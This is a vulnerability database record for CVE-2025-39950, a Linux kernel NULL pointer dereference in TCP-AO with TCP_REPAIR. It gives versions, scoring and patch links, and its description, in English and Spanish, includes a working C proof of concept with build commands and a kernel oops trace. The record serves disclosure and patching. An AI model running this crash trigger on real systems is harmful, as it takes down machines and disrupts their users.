FKIE_CVE-2025-39950

Vulnerability from fkie_nvd - Published: 2025-10-04 08:15 - Updated: 2026-10-19 21:10
Severity
5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Summary
In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
References
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738cPatch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5faPatch
Impacted products
Vendor Product Version
linux linux_kernel *
linux linux_kernel *
linux linux_kernel 6.17
linux linux_kernel 6.17
linux linux_kernel 6.17
linux linux_kernel 6.17
linux linux_kernel 6.17
linux linux_kernel 6.17
To clipboard 

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ao.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5f445eb259906b61a518487a790e11d07d31738c",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            },
            {
              "lessThan": "993b734d31ab804747ac961b1ee664b023c3b5fa",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            },
            {
              "lessThan": "2e7bba08923ebc675b1f0e0e0959e68e53047838",
              "status": "affected",
              "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_ao.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.49",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.16.*",
              "status": "unaffected",
              "version": "6.16.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F",
              "versionEndExcluding": "6.12.49",
              "versionStartIncluding": "6.7",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112",
              "versionEndExcluding": "6.16.9",
              "versionStartIncluding": "6.13",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*",
              "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*",
              "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*",
              "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*",
              "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*",
              "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*",
              "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)-\u003eseq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(\u0026sockaddr,\u0027\\0\u0027,sizeof(sockaddr));\n\tmemset(\u0026tcp_ao,\u0027\\0\u0027,sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(\u0026tcp_ao.addr,\u0026sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, \u0026tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, \u0026one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", \u0026sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)\u0026sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"
    },
    {
      "lang": "es",
      "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/tcp: Correcci\u00f3n de una desreferencia de puntero NULL al usar TCP-AO con TCP_REPAIR\n\nPuede ocurrir una desreferencia de puntero NULL en tcp_ao_finish_connect() durante una llamada al sistema connect() en un socket con una clave TCP-AO a\u00f1adida y TCP_REPAIR habilitado.\n\nLa funci\u00f3n es llamada con skb siendo NULL e intenta desreferenciarlo en tcp_hdr(skb)-\u003eseq sin una validaci\u00f3n previa de skb.\n\nSolucione esto comprobando si skb es NULL antes de desreferenciarlo.\n\nEl comentario est\u00e1 tomado de bpf_skops_established(), que tambi\u00e9n es llamada en el mismo flujo. A diferencia de la funci\u00f3n que est\u00e1 siendo parcheada, bpf_skops_established() valida el skb antes de desreferenciarlo.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(\u0026sockaddr,\u0027\\0\u0027,sizeof(sockaddr));\n\tmemset(\u0026tcp_ao,\u0027\\0\u0027,sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\u201ccmac(aes128)\u201d,12);\n\tmemcpy(tcp_ao.key,\u201cABCDEFGHABCDEFGH\u201d,16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(\u0026tcp_ao.addr,\u0026sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, \u0026tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, \u0026one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\u201c127.0.0.1\u201d, \u0026sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)\u0026sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: desreferencia de puntero NULL del kernel, direcci\u00f3n: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nNombre del hardware: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"
    }
  ],
  "id": "CVE-2025-39950",
  "lastModified": "2026-10-19T21:10:00.160",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-10-04T08:15:48.253",
  "references": [
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa"
    }
  ],
  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}



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